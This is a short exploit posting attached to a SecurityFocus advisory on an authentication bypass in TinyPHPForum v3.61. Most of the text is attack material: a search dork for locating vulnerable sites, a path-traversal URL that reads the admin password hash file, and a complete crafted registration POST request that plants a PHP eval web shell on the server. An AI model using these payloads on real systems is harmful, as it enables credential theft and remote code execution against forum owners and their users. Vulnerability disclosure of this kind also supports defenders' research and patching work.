source: https://www.securityfocus.com/bid/19281/info
TinyPHPForum is prone to an authentication-bypass vulnerability because it fails to prevent an attacker from accessing admin scripts directly without requiring authentication.
A remote attacker can exploit this issue to perform administrative functions without requiring authentication. For example, the attacker may be able to create administrative users for the affected application.
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Found : brain[pillow]
Dork : "Powered by TinyPHPForum v3.61"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail : brainpillow@gmail.com
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File read (f.e. file with admin's hash):
/index.php?f=1&t=8../../../../users/admin.hash%00
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Code exec:
Just send this fucking evil packet for registration and the shell will be created there: /lang/cekac.php.skin?c=[eval code]
POST /updatepf.php HTTP/1.1
User-Agent: Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Referer: http://www.example.com/profile.php?action=new
Cookie: PHPSESSID=a2b64d278abd18347c1fd3c27a6dc1f2;
Connection: Keep-Alive
Content-Length: 1235
Content-Type: multipart/form-data; boundary=----------feIyX3Pd15MPzClqGeALKe
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="sessionid"
a2b64d278abd18347c1fd3c27a6dc1f2
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="uname"
../lang/cekac.php
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="ulang"
big5
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="uskin"
<?php eval($_GET[c]);?>
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="email"
qwe@qwe.net
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="p1"
123qwe
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="p2"
123qwe
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="stat"
hack the planet
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="avatar"
image/avatars/bird1.jpg
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="MAX_FILE_SIZE"
10240
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="userfile"; filename=""
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="type"
new
------------feIyX3Pd15MPzClqGeALKe--
